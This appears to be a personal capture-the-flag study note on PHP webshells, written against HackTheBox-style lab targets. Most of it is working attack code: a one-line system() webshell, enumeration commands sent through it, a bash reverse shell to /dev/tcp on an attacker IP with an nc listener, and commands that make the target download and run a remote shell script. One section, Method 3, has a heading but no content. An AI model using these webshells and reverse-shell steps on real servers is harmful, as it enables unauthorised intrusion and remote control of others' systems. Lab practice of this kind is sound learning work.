π Php Webshell
A PHP webshell is a script that executes system commands via HTTP parameters. It's the simplest and most common post-exploitation technique when you have file upload capabilities on a PHP server. This guide covers what we've practiced.
Quickstart β One-Liner Webshell¶
# Create the webshell
$ echo '<?php system($_GET["cmd"]); ?>' > file.php
# Upload it (FTP, S3, file upload form, etc.)
# Then execute commands:
$ curl 'http://target.htb/file.php?cmd=whoami'
www-data
$ curl 'http://target.htb/file.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Execution Functions¶
| Function | Behavior | Best for |
|---|---|---|
system() |
Executes command, prints output directly | Default choice β simplest |
exec() |
Executes command, returns last line as string | When you need to capture output in a variable |
shell_exec() |
Executes command, returns full output as string | When piping output to another command |
passthru() |
Executes command, prints raw binary output | Binary data, large dumps |
// All functionally equivalent for CTF use:
<?php system($_GET["cmd"]); ?>
<?php echo shell_exec($_GET["cmd"]); ?>
<?php passthru($_GET["cmd"]); ?>
URL Encoding β Making Commands Work¶
Spaces and special characters in URLs must be encoded. Common encodings:
| Character | URL-encoded | Example |
|---|---|---|
| Space | %20 |
ls%20-la |
/ |
%2F |
rarely needed |
| (pipe) |
%7C |
curl%20url%7Cbash |
& |
%26 |
ls%20%26%26%20whoami |
; |
%3B |
cmd1%3Bcmd2 |
# Raw command
$ curl 'http://target.htb/file.php?cmd=ls -la ..'
# Same command, URL-encoded
$ curl 'http://target.htb/file.php?cmd=ls%20-la%20..'
π‘ curl handles spaces in URLs, but pipes (
|) and ampersands (&) must be encoded or escaped in bash. Use%7Cfor pipes or wrap the URL in single quotes and escape with\.
Common Enumeration Commands¶
# Who are we?
cmd=whoami
# What's in the web root?
cmd=ls%20-la
# What's one level up? (flags are often in /var/www/)
cmd=ls%20-la%20..
# Find flag files
cmd=find%20/%20-name%20flag*%202>/dev/null
# Read the flag
cmd=cat%20../flag.txt
Reverse Shell Upgrade¶
Once you confirm command execution, upgrade to a reverse shell:
Method 1 β Download + Execute (no pipes)¶
# Attacker: host the reverse shell
$ echo '#!/bin/bash' > shell.sh
$ echo 'bash -i >& /dev/tcp/10.10.14.128/1337 0>&1' >> shell.sh
$ python3 -m http.server 8000
# Attacker: start listener
$ nc -nvlp 1337
# Target: download the script
$ curl 'http://target.htb/file.php?cmd=curl%20http://10.10.14.128:8000/shell.sh%20-o%20/tmp/s.sh'
# Target: execute it
$ curl 'http://target.htb/file.php?cmd=bash%20/tmp/s.sh'
Method 2 β Pipe (one request, if the pipe works)¶
# Using semicolons instead of pipes (more reliable with system())
cmd=curl%20http://10.10.14.128:8000/shell.sh%20-o%20/tmp/s.sh;bash%20/tmp/s.sh
Method 3 β Inline reverse shell (no HTTP server needed)¶
Troubleshooting¶
| Symptom | Fix |
|---|---|
Pipe (|) doesn't work |
Use semicolons (;) or download + execute in two steps |
system() blocked |
Try shell_exec(), exec(), or passthru() |
| Commands not executing | Check PHP is parsing the file (.php extension, correct directory) |
| No output | Some functions buffer output β try system() or add 2>&1 |
π Related¶
Machines: [[π₯ Three]]
Guides: [[βοΈ AWS S3]], [[π― ffuf]], [[π£ Gobuster]]